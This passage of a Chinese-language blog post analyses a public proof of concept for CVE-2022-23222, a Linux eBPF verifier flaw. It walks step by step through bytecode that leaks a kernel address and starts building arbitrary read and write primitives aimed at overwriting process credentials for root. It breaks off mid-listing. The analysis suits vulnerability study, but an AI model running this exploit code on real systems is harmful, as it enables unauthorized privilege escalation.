= <span class="number">26</span>,</span><br><span class="line">BPF_MAP_TYPE_RINGBUF = <span class="number">27</span>,</span><br><span class="line">BPF_MAP_TYPE_INODE_STORAGE = <span class="number">28</span>,</span><br><span class="line">BPF_MAP_TYPE_TASK_STORAGE = <span class="number">29</span>,</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>下文使用到的类型包括 BPF_MAP_TYPE_ARRAY 和 BPF_MAP_TYPE_RINGBUF 。</p><p>顾名思义,BPF_MAP_TYPE_ARRAY 类似数组,索引为整形,值可为任意长度的内存对象。</p><p>BPF_MAP_TYPE_RINGBUF 是环形缓冲区,如果写入的数据来不及读取,导致积累的数据超过缓冲区长度,新数据则会覆盖掉旧数据。</p><h3 id="3-5-eBPF辅助函数"><a href="#3-5-eBPF辅助函数" class="headerlink" title="3.5 eBPF辅助函数"></a>3.5 eBPF辅助函数</h3><p>eBPF 辅助函数(eBPF helper)是可在 eBPF 程序中使用的辅助函数。</p><p>内核规定了不同类型的eBPF程序可使用哪些辅助函数,比如,bpf_skb_load_bytes_relative 只有 socket 相关的 eBPF 程序可使用。</p><p>各 eBPF 辅助函数的函数原型由内核定义,下文使用到的一些辅助函数的原型如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">bpf_func_proto</span> <span class="title">bpf_map_lookup_elem_proto</span> = {</span></span><br><span class="line">.func= bpf_map_lookup_elem,</span><br><span class="line">.gpl_only= <span class="literal">false</span>,</span><br><span class="line">.pkt_access= <span class="literal">true</span>,</span><br><span class="line">.ret_type= RET_PTR_TO_MAP_VALUE_OR_NULL,</span><br><span class="line">.arg1_type= ARG_CONST_MAP_PTR,</span><br><span class="line">.arg2_type= ARG_PTR_TO_MAP_KEY,</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">bpf_func_proto</span> <span class="title">bpf_ringbuf_reserve_proto</span> = {</span></span><br><span class="line">.func= bpf_ringbuf_reserve,</span><br><span class="line">.ret_type= RET_PTR_TO_ALLOC_MEM_OR_NULL,</span><br><span class="line">.arg1_type= ARG_CONST_MAP_PTR,</span><br><span class="line">.arg2_type= ARG_CONST_ALLOC_SIZE_OR_ZERO,</span><br><span class="line">.arg3_type= ARG_ANYTHING,</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>可见 bpf_map_lookup_elem 的返回值类型是 RET_PTR_TO_MAP_VALUE_OR_NULL ,bpf_ringbuf_reserve 的返回值类型是RET_PTR_TO_ALLOC_MEM_OR_NULL 。</p><p>各 eBPF 辅助函数的功能可通过 man bpf-helpers 命令查看。</p><h3 id="3-6-eBPF-verifier"><a href="#3-6-eBPF-verifier" class="headerlink" title="3.6 eBPF verifier"></a>3.6 eBPF verifier</h3><p>eBPF 程序在加载进内核之前,必须通过 eBPF verifier 的检查。只有符合要求的 eBPF 程序才允许被加载进内核,这是为了防止 eBPF 程序对内核进行破坏。</p><p>eBPF verifier 对 eBPF 程序的限制包括:</p><ul><li>不能调用任意的内核函数,只限于内核模块中列出的 eBPF helper 函数</li><li>不允许包含无法到达的指令,防止加载无效代码,延迟程序的终止。</li><li>限制循环次数,必须在有限次内结束。</li><li>栈大小被限制为 MAX_BPF_STACK,截止到内核 5.10.83 版本,被设置为 512。</li><li>限制 eBPF 程序的复杂度,verifier 处理的指令数不得超过 BPF_COMPLEXITY_LIMIT_INSNS,截止到内核 5.10.83 版本,被设置为100万。</li><li>限制 eBPF 程序对内存的访问,比如不得访问未初始化的栈,不得越界访问 eBPF map 。</li></ul><h2 id="四、POC分析"><a href="#四、POC分析" class="headerlink" title="四、POC分析"></a>四、POC分析</h2><p>POC 地址为:https://github.com/tr3ee/CVE-2022-23222</p><p>漏洞整体利用思路是通过欺骗 eBPF verifier 泄露内核地址,并实现内核任意地址读、写原语,通过任意读原语搜索进程 cred 所在地址,通过任意写原语修改进程 cred 以实现提权。</p><h3 id="4-1-前置准备"><a href="#4-1-前置准备" class="headerlink" title="4.1 前置准备"></a>4.1 前置准备</h3><p>创建 2 个 eBPF map ,类型分别为 BPF_MAP_TYPE_ARRAY 及 BPF_MAP_TYPE_RINGBUF。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, <span class="keyword">sizeof</span>(u32), PAGE_SIZE, <span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span> (ret < <span class="number">0</span>) {</span><br><span class="line">WARNF(<span class="string">"Failed to create comm map: %d (%s)"</span>, ret, strerror(-ret));</span><br><span class="line"><span class="keyword">return</span> ret;</span><br><span class="line">}</span><br><span class="line">ctx->comm_fd = ret;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, <span class="number">0</span>, <span class="number">0</span>, PAGE_SIZE)) < <span class="number">0</span>) {</span><br><span class="line">WARNF(<span class="string">"Could not create ringbuf map: %d (%s)"</span>, ret, strerror(-ret));</span><br><span class="line"><span class="keyword">return</span> ret;</span><br><span class="line">}</span><br><span class="line">ctx->ringbuf_fd = ret;</span><br></pre></td></tr></table></figure><p>前者在 POC 中的作用为:</p><ol><li>和内核交换数据。</li><li>泄露其元素的地址。</li></ol><p>后者的作用则为:</p><ol><li>和内核交换数据。</li><li>通过 bpf_ringbuf_reserve 辅助函数获取 PTR_TO_MEM_OR_NULL 类型指针 。</li></ol><h3 id="4-2-泄露内核地址"><a href="#4-2-泄露内核地址" class="headerlink" title="4.2 泄露内核地址"></a>4.2 泄露内核地址</h3><p>泄露内核地址的方法为构造特定的 eBFP 程序以利用前述漏洞。</p><p>先将 r1 保存到 r9 。r1 在进入 eBPF 程序之前被内核初始化为指向 skb 的指针。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r9 = r1</span></span><br><span class="line">BPF_MOV64_REG(BPF_REG_9, BPF_REG_1)</span><br></pre></td></tr></table></figure><p>获取 array 指针,保存在 r0 。调试发现,array 指针都是 0xFFFF…10 这种格式。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r0 = bpf_lookup_elem(ctx->comm_fd, 0)</span></span><br><span class="line">BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd)</span><br><span class="line">BPF_ST_MEM(BPF_DW, BPF_REG_10, <span class="number">-8</span>, <span class="number">0</span>)</span><br><span class="line">BPF_MOV64_REG(BPF_REG_2, BPF_REG_10)</span><br><span class="line">BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, <span class="number">-4</span>)</span><br><span class="line">BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_map_lookup_elem)</span><br></pre></td></tr></table></figure><p>上一步获取的 r0 类型为 PTR_TO_MAP_VALUE_OR_NULL 。进行以下判断后,在 false 分支 r0 类型就变成 PTR_TO_MAP_VALUE。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// if (r0 == NULL) exit(1)</span></span><br><span class="line">BPF_JMP_IMM(BPF_JNE, BPF_REG_0, <span class="number">0</span>, <span class="number">2</span>)</span><br><span class="line">BPF_MOV64_IMM(BPF_REG_0, <span class="number">1</span>)</span><br><span class="line">BPF_EXIT_INSN()</span><br></pre></td></tr></table></figure><p>将 array 指针保存进 r8。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r8 = r0</span></span><br><span class="line">BPF_MOV64_REG(BPF_REG_8, BPF_REG_0)</span><br></pre></td></tr></table></figure><p>调用 bpf_ringbuf_reserve 函数,请求 PAGE_SIZE 的 ringbuf 内存,返回值为 PTR_TO_MEM_OR_NULL 类型指针,属于漏洞中没有过滤的指针类型。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)</span></span><br><span class="line">BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd)</span><br><span class="line">BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE)</span><br><span class="line">BPF_MOV64_IMM(BPF_REG_3, <span class="number">0x00</span>)</span><br><span class="line">BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_ringbuf_reserve)</span><br></pre></td></tr></table></figure><p>复制 r0 到 r1 ,r1 的类型变为 PTR_TO_MEM_OR_NULL ,id 也变成 r0 的 id 。这里提一下,verifier 会维护 eBPF 寄存器的 id 属性,用于追踪指针类型的来源。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r0 = r1</span></span><br><span class="line">BPF_MOV64_REG(BPF_REG_1, BPF_REG_0)</span><br></pre></td></tr></table></figure><p>之后,r1 自身加 1。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r1 = r1 + 1</span></span><br><span class="line">BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, <span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>参考 adjust_ptr_min_max_vals 函数的代码,在指针加减操作中,目标寄存器的 id 和类型会变成指针寄存器的 id 和类型。由于在上一步中 r1 既是目标寄存器也是指针寄存器,其 id 和类型保持不变。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">adjust_ptr_min_max_vals</span><span class="params">(struct bpf_verifier_env *env,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct bpf_insn *insn,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> struct bpf_reg_state *ptr_reg,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> struct bpf_reg_state *off_reg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="comment">/* In case of 'scalar += pointer', dst_reg inherits pointer type and id.</span></span><br><span class="line"><span class="comment"> * The id may be overwritten later if we create a new variable offset.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">dst_reg->type = ptr_reg->type;</span><br><span class="line">dst_reg->id = ptr_reg->id;</span><br><span class="line"></span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>检查 r0 是否为 NULL 。事实上,r0 不为 NULL 的情况不可能发生。ringbuf 的大小虽然为 PAGE_SIZE ,但其中一部分用于存储关于 ringbuf 的结构体,剩下的才用于存储数据。因此,请求保留 PAGE_SIZE 的内存不可能实现。经过此步骤后,r0 的类型变为 SCALAR_VALUE ,其值为 0 。那么,与 r0 具有相同 id 的 r1 的类型和值又会如何变化呢?</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }</span></span><br><span class="line">BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, <span class="number">0</span>, <span class="number">5</span>)</span><br><span class="line">BPF_MOV64_REG(BPF_REG_1, BPF_REG_0)</span><br><span class="line">BPF_MOV64_IMM(BPF_REG_2, <span class="number">1</span>)</span><br><span class="line">BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_ringbuf_discard)</span><br><span class="line">BPF_MOV64_IMM(BPF_REG_0, <span class="number">2</span>)</span><br><span class="line">BPF_EXIT_INSN()</span><br></pre></td></tr></table></figure><p>check_cond_jmp_op 是 verifier 中检查 JMP 指令的函数,当 JMP 指令的条件是 *OR_NULL 类型指针和 0 比较时,会通过 mark_ptr_or_null_regs 函数改变不同分支中寄存器的类型。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">check_cond_jmp_op</span><span class="params">(struct bpf_verifier_env *env,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct bpf_insn *insn, <span class="keyword">int</span> *insn_idx)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="comment">/* detect if R == 0 where R is returned from bpf_map_lookup_elem().</span></span><br><span class="line"><span class="comment"> * <span class="doctag">NOTE:</span> these optimizations below are related with pointer comparison</span></span><br><span class="line"><span class="comment"> * which will never be JMP32.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">if</span> (!is_jmp32 && BPF_SRC(insn->code) == BPF_K &&</span><br><span class="line"> insn->imm == <span class="number">0</span> && (opcode == BPF_JEQ || opcode == BPF_JNE) &&</span><br><span class="line"> reg_type_may_be_null(dst_reg->type)) {</span><br><span class="line"><span class="comment">/* Mark all identical registers in each branch as either</span></span><br><span class="line"><span class="comment"> * safe or unknown depending R == 0 or R != 0 conditional.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">mark_ptr_or_null_regs(this_branch, insn->dst_reg,</span><br><span class="line"> opcode == BPF_JNE);</span><br><span class="line">mark_ptr_or_null_regs(other_branch, insn->dst_reg,</span><br><span class="line"> opcode == BPF_JEQ);</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>mark_ptr_or_null_regs 函数又调用了 __mark_ptr_or_null_regs 函数,在后者中,所有相同 id 的寄存器都会被 mark_ptr_or_null_reg 函数进行相同的处理。因此,后续 r1 也会变成 SCALAR_VALUE 类型,且 verifier 认为其值为 0 。然而,事实上 r1 的值为 1 。这就是漏洞所在,PTR_TO_MEM_OR_NULL 类型的指针无论经过加减运算变成何值,只要经过是否为 NULL 的判断,在其中一个分支 verifier 都会认为其值为 0 。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">void</span> __mark_ptr_or_null_regs(struct bpf_func_state *state, u32 id,</span><br><span class="line"> <span class="keyword">bool</span> is_null)</span><br><span class="line">{</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i < MAX_BPF_REG; i++)</span><br><span class="line">mark_ptr_or_null_reg(state, &state->regs[i], id, is_null);</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">mark_ptr_or_null_reg</span><span class="params">(struct bpf_func_state *state,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct bpf_reg_state *reg, u32 id,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">bool</span> is_null)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> ...</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> (WARN_ON_ONCE(reg->smin_value || reg->smax_value ||</span><br><span class="line"> !tnum_equals_const(reg->var_off, <span class="number">0</span>) ||</span><br><span class="line"> reg->off)) {</span><br><span class="line">__mark_reg_known_zero(reg);</span><br><span class="line">reg->off = <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (is_null) {</span><br><span class="line">reg->type = SCALAR_VALUE;</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>接着,将 r1+8 保存到 r7 。verifier 认为 r7 值为 8 ,实际上 r7 值为 9 。再将 array 指针 r8 加上 0xE0 的值保存到 r10-8 处,之所以加上 0xE0 是为了泄露更多数据,后面会补充说明。</p><p><img src="images/01.jpg" alt></p><p>通过 bpf_skb_load_bytes_relative 向 r10-16 写入 r7 个字节,即 9 个字节,溢出了 1 个字节。所写入的数据是可控的,可在用户态通过写入 socket 传递进内核态。在这里将控制写入数据为全零数据,即 r10-8 处的字节会被 0x00 覆盖。</p><p><img src="images/02.jpg" alt></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r7 = r1 + 8</span></span><br><span class="line">BPF_MOV64_REG(BPF_REG_7, BPF_REG_1)</span><br><span class="line">BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, <span class="number">8</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// r6 = r8 - 0xE0</span></span><br><span class="line">BPF_MOV64_REG(BPF_REG_6, BPF_REG_8)</span><br><span class="line">BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, <span class="number">0xE0</span>)</span><br><span class="line"><span class="comment">// *(u64 *)(r10 - 8) = r6</span></span><br><span class="line">BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, <span class="number">-8</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 这里会将r10-16后r7个字节置零。</span></span><br><span class="line"><span class="comment">// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)</span></span><br><span class="line">BPF_MOV64_REG(BPF_REG_1, BPF_REG_9)</span><br><span class="line">BPF_MOV64_IMM(BPF_REG_2, <span class="number">0</span>)</span><br><span class="line">BPF_MOV64_REG(BPF_REG_3, BPF_REG_10)</span><br><span class="line">BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, <span class="number">-16</span>)</span><br><span class="line">BPF_MOV64_REG(BPF_REG_4, BPF_REG_7)</span><br><span class="line">BPF_MOV64_IMM(BPF_REG_5, <span class="number">1</span>)</span><br><span class="line">BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_skb_load_bytes_relative)</span><br></pre></td></tr></table></figure><p>将栈上的 array 指针取出,并减去 0xE0 ,与前面对应,结果保存进 r6 。一加一减,verifier会认为 r6 仍为 array 指针,即等于 0xFFFF…10 。而实际上,r6 等于 0xFFFF…10 - 0xE0 。这里可以选择加减 0x10 ~ 0xE0 ,选择 0xE0 泄露的数据较多。接着,将 r6 所指向的 PAGE_SIZE 字节数据复制到 array 指针处,实现信息泄露。调试发现,泄露的数据中就包含 array 指针,在 0xFFFF…10 - 0x50 处。</p><p><img src="images/03.jpg" alt></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r6 = *(u64 *)(r10 - 8) - 0xE0</span></span><br><span class="line">BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, <span class="number">-8</span>)</span><br><span class="line">BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, <span class="number">0xE0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 将r6所指向的4096字节数据写入array map,实现信息泄露。</span></span><br><span class="line"><span class="comment">// 调试发现,r6+0xa0处为array map的地址。</span></span><br><span class="line"><span class="comment">// map_update_elem(ctx->comm_fd, 0, r6, 0)</span></span><br><span class="line">BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd)</span><br><span class="line">BPF_MOV64_REG(BPF_REG_2, BPF_REG_8)</span><br><span class="line">BPF_MOV64_REG(BPF_REG_3, BPF_REG_6)</span><br><span class="line">BPF_MOV64_IMM(BPF_REG_4, <span class="number">0</span>)</span><br><span class="line">BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_map_update_elem)</span><br></pre></td></tr></table></figure><p>构造好程序后,就可将其加载进内核,attach 到 socket 上,向 socket 写入全零数据以覆盖栈上的 array 指针,再从 array map 中获取泄露的数据,从中找出 array 指针。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, <span class="keyword">sizeof</span>(insn) / <span class="keyword">sizeof</span>(insn[<span class="number">0</span>]), <span class="string">""</span>);</span><br><span class="line"><span class="keyword">if</span> (prog < <span class="number">0</span>) {</span><br><span class="line"> WARNF(<span class="string">"Could not load program(do_leak):\n %s"</span>, bpf_log_buf);</span><br><span class="line"> <span class="keyword">goto</span> <span class="built_in">abort</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> err = bpf_prog_skb_run(prog, ctx->bytes, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (err != <span class="number">0</span>) {</span><br><span class="line"> WARNF(<span class="string">"Could not run program(do_leak): %d (%s)"</span>, err, strerror(err));</span><br><span class="line"> <span class="keyword">goto</span> <span class="built_in">abort</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> key = <span class="number">0</span>;</span><br><span class="line">err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);</span><br><span class="line"><span class="keyword">if</span> (err != <span class="number">0</span>) {</span><br><span class="line"> WARNF(<span class="string">"Could not lookup comm map: %d (%s)"</span>, err, strerror(err));</span><br><span class="line"> <span class="keyword">goto</span> <span class="built_in">abort</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">u64 array_map = (u64)ctx->ptrs[<span class="number">20</span>] & (~<span class="number">0xFF</span>L);</span><br><span class="line"><span class="keyword">if</span> ((array_map&<span class="number">0xFFFFF00000000000</span>) != <span class="number">0xFFFF800000000000</span>) {</span><br><span class="line"> WARNF(<span class="string">"Could not leak array map: got %p"</span>, (<span class="keyword">kaddr_t</span>)array_map);</span><br><span class="line"> <span class="keyword">goto</span> <span class="built_in">abort</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> __always_inline <span class="keyword">int</span></span><br><span class="line">bpf_prog_skb_run(<span class="keyword">int</span> prog_fd, <span class="keyword">const</span> <span class="keyword">void</span> *data, <span class="keyword">size_t</span> <span class="built_in">size</span>)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">int</span> err, socks[<span class="number">2</span>] = {};</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (socketpair(AF_UNIX, SOCK_DGRAM, <span class="number">0</span>, socks) != <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">return</span> errno;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (setsockopt(socks[<span class="number">0</span>], SOL_SOCKET, SO_ATTACH_BPF,</span><br><span class="line"> &prog_fd, <span class="keyword">sizeof</span>(prog_fd)) != <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> err = errno;</span><br><span class="line"> <span class="keyword">goto</span> <span class="built_in">abort</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">write</span>(socks[<span class="number">1</span>], data, <span class="built_in">size</span>) != <span class="built_in">size</span>)</span><br><span class="line"> {</span><br><span class="line"> err = <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">goto</span> <span class="built_in">abort</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> err = <span class="number">0</span>;</span><br><span class="line"> </span><br><span class="line"><span class="built_in">abort</span>:</span><br><span class="line"> <span class="built_in">close</span>(socks[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">close</span>(socks[<span class="number">1</span>]);</span><br><span class="line"> <span class="keyword">return</span> err;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="4-3-构造任意读、写原语"><a href="#4-3-构造任意读、写原语" class="headerlink" title="4.3 构造任意读、写原语"></a>4.3 构造任意读、写原语</h3><p>接下来构造的 eBPF 程序和上一程序及其类似,因此通过添加注释的方式进行说明。</p><p>实现任意读原语的 eBPF 程序:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span 